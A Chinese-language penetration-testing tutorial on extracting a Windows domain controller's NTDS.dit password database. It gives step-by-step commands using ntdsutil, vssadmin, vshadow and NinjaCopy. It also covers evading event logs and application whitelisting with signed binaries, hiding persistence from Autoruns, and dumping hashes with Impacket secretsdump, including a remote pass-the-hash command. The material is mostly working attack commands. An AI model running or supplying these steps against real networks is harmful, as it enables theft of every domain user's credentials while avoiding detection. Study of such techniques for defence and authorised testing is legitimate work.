0x00 前言
在之前的文章《導出當前域內所有用戶hash的技術整理》曾介紹過通過Volume Shadow Copy實現對ntds.dit文件的復制, 可用來導出域內所有用戶hash。本文將嘗試做系統總結,總結多種不同的方法。
0x01 簡介
本文將要介紹以下內容:
- 多種實現方法
- 比較優缺點
0x02 通過Volume Shadow Copy獲得域控服務器NTDS.dit文件
測試系統:
- Server 2008 R2 x64
- Server 2012 R2 x64
Volume Shadow Copy Service:
- 用於數據備份
- 支持Windows Server 2003 及以上操作系統
- 系統默認在特定條件下自動創建數據備份,如補丁安裝后。在Win7系統大概每隔一周自動創建備份,該時間無法確定
- 禁用VSS會影響系統正常使用,如 System Restore和 Windows Server Backup
1、ntdsutil
域環境默認安裝
支持系統:
- Server 2003
- Server 2008
- Server 2012
- …
常用命令:
(1) 查詢當前快照列表
ntdsutil snapshot "List All" quit quit
(2) 查詢已掛載的快照列表
ntdsutil snapshot "List Mounted" quit quit
(3) 創建快照
ntdsutil snapshot "activate instance ntds" create quit quit
(4) 掛載快照
ntdsutil snapshot "mount GUID" quit quit
(5) 卸載快照:
ntdsutil snapshot "unmount GUID" quit quit
(6) 刪除快照
ntdsutil snapshot "delete GUID" quit quit
實際測試:
(1) 查詢當前系統的快照
ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit
(2) 創建快照
ntdsutil snapshot "activate instance ntds" create quit quit
guid為{6e31c0ab-c517-420b-845d-c38acbf77ab9}
如下圖
(3) 掛載快照
ntdsutil snapshot "mount {6e31c0ab-c517-420b-845d-c38acbf77ab9}" quit quit
快照掛載為C:\$SNAP_201802270645_VOLUMEC$\
,如下圖
(4) 復制ntds.dit
copy C:\$SNAP_201802270645_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit
(5) 卸載快照:
ntdsutil snapshot "unmount {6e31c0ab-c517-420b-845d-c38acbf77ab9}" quit quit
(6) 刪除快照
ntdsutil snapshot "delete {6e31c0ab-c517-420b-845d-c38acbf77ab9}" quit quit
2、vssadmin
域環境默認安裝
支持系統:
- Server 2008
- Server 2012
- …
常用命令:
(1) 查詢當前系統的快照
vssadmin list shadows
(2) 創建快照
vssadmin create shadow /for=c:
(3) 刪除快照
vssadmin delete shadows /for=c: /quiet
實際測試:
(1) 查詢當前系統的快照
vssadmin list shadows
(2) 創建快照
vssadmin create shadow /for=c:
獲得Shadow Copy Volume Name為\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12
如下圖
(3) 復制ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\windows\NTDS\ntds.dit c:\ntds.dit
(4) 刪除快照
vssadmin delete shadows /for=c: /quiet
3、vshadow.exe
系統默認不支持,,可在Microsoft Windows Software Development Kit (SDK)中獲得該工具
注:
64位系統需要使用64位的vshadow.exe
不同系統可供使用的vshadow.exe下載地址:
http://edgylogic.com/blog/vshadow-exe-versions/
常用命令:
(1) 查詢當前系統的快照
vshadow.exe -q
(2) 創建快照
vshadow.exe -p -nw C:
參數說明:
-p persistent,備份操作或是重啟系統不會刪除
-nw no writers,用來提高創建速度
C: 對應c盤
(3) 刪除快照
vshadow -dx=ShadowCopySetId
vshadow -ds=ShadowCopyId
實際測試:
(1) 查詢當前系統的快照
vshadow.exe -q
(2) 創建快照
vshadow.exe -p -nw C:
獲得SnapshotSetID為{809b77cc-cf9a-4101-b802-08e97d10e613}
獲得SnapshotID為{ef99d039-9a38-4e8b-9f57-e3113d464f76}
獲得Shadow copy device name為\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10
如下圖
(3) 復制ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10\windows\NTDS\ntds.dit c:\ntds.dit
(4) 刪除快照
vshadow -dx={809b77cc-cf9a-4101-b802-08e97d10e613}
or
vshadow -ds={ef99d039-9a38-4e8b-9f57-e3113d464f76}
4、vssown.vbs
可供參考的下載地址:
https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs
本質上是通過wmi對ShadowCopy進行操作
通過wmi查詢快照信息:
wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_ShadowCopy GET DeviceObject,ID,InstallDate /FORMAT:list
powershell實現:
https://github.com/samratashok/nishang/blob/master/Gather/Copy-VSS.ps1
擴展
1、日志文件
調用Volume Shadow Copy服務會產生日志文件,位於System下,Event ID為7036
執行ntdsutil snapshot "activate instance ntds" create quit quit
會額外產生Event ID為98的日志文件
如下圖
2、訪問快照中的文件
查看快照列表:
vssadmin list shadows
無法直接訪問\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12
中的文件
可通過創建符號鏈接訪問快照中的文件:
mklink /d c:\testvsc \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\
如下圖
刪除符號鏈接:
rd c:\testvsc
利用思路:
如果當前系統存在快照文件,可對系統的歷史文件進行訪問
3、利用vshadow執行命令
參考資料:
https://bohops.com/2018/02/10/vshadow-abusing-the-volume-shadow-service-for-evasion-persistence-and-active-directory-database-extraction/
執行命令:
vshadow.exe -nw -exec=c:\windows\system32\notepad.exe c:
執行后,后台存在進程VSSVC.exe,同時顯示服務Volume Shadow Copy正在運行,需要手動關閉進程VSSVC.exe
注:
手動關閉進程VSSVC.exe會生成日志7034
利用思路:
vshadow.exe包含微軟簽名,能繞過某些白名單的限制。如果作為啟動項,Autoruns的默認啟動列表不顯示
0x03 通過NinjaCopy獲得域控服務器NTDS.dit文件
下載地址:
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1
沒有調用Volume Shadow Copy服務,所以不會產生日志文件7036
0x04 小結
本文整理了多種獲得域控服務器NTDS.dit文件的方法,測試使用環境,比較優缺點。
0x06 impacket 工具包導出散列值
使用Impacket中的secretsdump ,是可以解析ntds.dit文件,導出hash值 。
impacker-secretsdump -system SYSTEM -ntds ntds.dit LOCAL
impacket 還可以直接通過用戶名和散列值進行驗證,遠程dump出hash
impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1